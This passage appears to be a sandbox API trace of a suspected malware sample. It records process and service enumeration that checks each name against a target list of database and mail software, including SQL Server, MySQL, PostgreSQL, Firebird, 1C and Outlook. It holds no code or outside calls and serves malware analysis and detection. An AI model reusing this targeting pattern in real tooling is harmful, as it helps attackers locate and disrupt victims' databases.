[0137.563] lstrlenW (lpString="ShellHWDetection") returned 16 [0137.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0137.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0137.563] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0137.563] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0137.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0137.563] lstrlenW (lpString="Spooler") returned 7 [0137.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0137.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0137.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0137.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0137.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0137.563] lstrlenW (lpString="Themes") returned 6 [0137.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0137.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0137.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0137.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0137.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0137.563] lstrlenW (lpString="UxSms") returned 5 [0137.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0137.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0137.563] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0137.563] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0137.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0137.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d77b8 | out: hHeap=0x300000) returned 1 [0137.564] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0137.566] Process32FirstW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0137.567] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0137.567] lstrlenW (lpString="System") returned 6 [0137.567] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0137.567] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0137.567] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0137.567] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0137.567] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0137.567] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0137.567] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0137.567] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0137.568] lstrlenW (lpString="smss.exe") returned 8 [0137.568] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0137.568] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0137.568] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0137.568] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0137.568] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0137.568] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0137.568] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0137.568] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.569] lstrlenW (lpString="csrss.exe") returned 9 [0137.569] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0137.569] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0137.569] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0137.569] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0137.569] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0137.569] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0137.569] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0137.569] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0137.569] lstrlenW (lpString="wininit.exe") returned 11 [0137.569] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0137.569] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0137.570] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0137.570] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0137.570] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0137.570] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0137.570] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0137.570] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.570] lstrlenW (lpString="csrss.exe") returned 9 [0137.570] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0137.570] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0137.570] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0137.570] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0137.570] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0137.570] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0137.570] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0137.570] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0137.571] lstrlenW (lpString="winlogon.exe") returned 12 [0137.571] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0137.571] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0137.571] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0137.571] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0137.571] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0137.571] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0137.571] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0137.571] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0137.573] lstrlenW (lpString="services.exe") returned 12 [0137.573] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0137.573] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0137.573] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0137.573] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0137.573] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0137.573] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0137.573] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0137.573] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0137.574] lstrlenW (lpString="lsass.exe") returned 9 [0137.574] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0137.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0137.574] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0137.574] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0137.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0137.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0137.574] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0137.574] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0137.574] lstrlenW (lpString="lsm.exe") returned 7 [0137.574] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0137.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0137.574] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0137.574] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0137.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0137.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0137.574] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0137.574] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.575] lstrlenW (lpString="svchost.exe") returned 11 [0137.575] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0137.575] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.575] lstrlenW (lpString="svchost.exe") returned 11 [0137.575] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0137.575] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0137.576] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.576] lstrlenW (lpString="svchost.exe") returned 11 [0137.576] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0137.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0137.576] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0137.576] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0137.576] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0137.576] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0137.576] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0137.576] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.576] lstrlenW (lpString="svchost.exe") returned 11 [0137.576] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0137.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0137.576] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0137.577] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0137.577] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0137.577] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0137.577] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0137.577] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.577] lstrlenW (lpString="svchost.exe") returned 11 [0137.577] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0137.577] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0137.577] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0137.577] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0137.578] lstrlenW (lpString="audiodg.exe") returned 11 [0137.578] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.578] lstrlenW (lpString="svchost.exe") returned 11 [0137.578] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.579] lstrlenW (lpString="svchost.exe") returned 11 [0137.579] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0137.579] lstrlenW (lpString="spoolsv.exe") returned 11 [0137.579] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0137.579] lstrlenW (lpString="taskhost.exe") returned 12 [0137.580] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.580] lstrlenW (lpString="svchost.exe") returned 11 [0137.580] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0137.580] lstrlenW (lpString="userinit.exe") returned 12 [0137.580] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0137.581] lstrlenW (lpString="dwm.exe") returned 7 [0137.581] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0137.581] lstrlenW (lpString="explorer.exe") returned 12 [0137.581] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0137.581] lstrlenW (lpString="3G6885.exe") returned 10 [0137.581] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0137.582] lstrlenW (lpString="reader_sl.exe") returned 13 [0137.582] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0137.582] lstrlenW (lpString="dllhost.exe") returned 11 [0137.582] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0137.582] CloseHandle (hObject=0x340) returned 1 [0137.583] Sleep (dwMilliseconds=0x1f4) [0138.924] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d89c8 [0139.133] EnumServicesStatusExW (in: hSCManager=0x41d89c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0139.187] GetLastError () returned 0xea [0139.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd68) returned 0x41d77b8 [0139.187] EnumServicesStatusExW (in: hSCManager=0x41d89c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d77b8, cbBufSize=0xd68, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d77b8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0139.188] GetLastError () returned 0xea [0139.188] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x41d77b8, Size=0xdea) returned 0x41d77b8 [0139.188] EnumServicesStatusExW (in: hSCManager=0x41d89c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d77b8, cbBufSize=0xdea, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d77b8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0139.189] CloseServiceHandle (hSCObject=0x41d89c8) returned 1 [0139.190] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0139.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0139.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0139.190] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0139.190] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0139.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0139.190] lstrlenW (lpString="AudioSrv") returned 8 [0139.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0139.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0139.190] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0139.190] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0139.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0139.190] lstrlenW (lpString="BFE") returned 3 [0139.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0139.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0139.190] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0139.190] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0139.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0139.190] lstrlenW (lpString="CryptSvc") returned 8 [0139.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0139.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0139.190] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0139.190] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0139.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0139.190] lstrlenW (lpString="CscService") returned 10 [0139.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0139.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0139.191] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0139.191] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0139.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0139.191] lstrlenW (lpString="DcomLaunch") returned 10 [0139.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0139.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0139.191] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0139.191] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0139.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0139.191] lstrlenW (lpString="Dhcp") returned 4 [0139.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0139.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0139.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0139.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0139.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0139.191] lstrlenW (lpString="Dnscache") returned 8 [0139.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0139.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0139.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0139.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0139.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0139.191] lstrlenW (lpString="DPS") returned 3 [0139.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0139.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0139.191] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0139.191] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0139.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0139.191] lstrlenW (lpString="eventlog") returned 8 [0139.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0139.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0139.191] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0139.191] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0139.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0139.192] lstrlenW (lpString="EventSystem") returned 11 [0139.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0139.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0139.192] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0139.192] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0139.192] lstrcmpiW (lpString1="sqlserveradhelper", 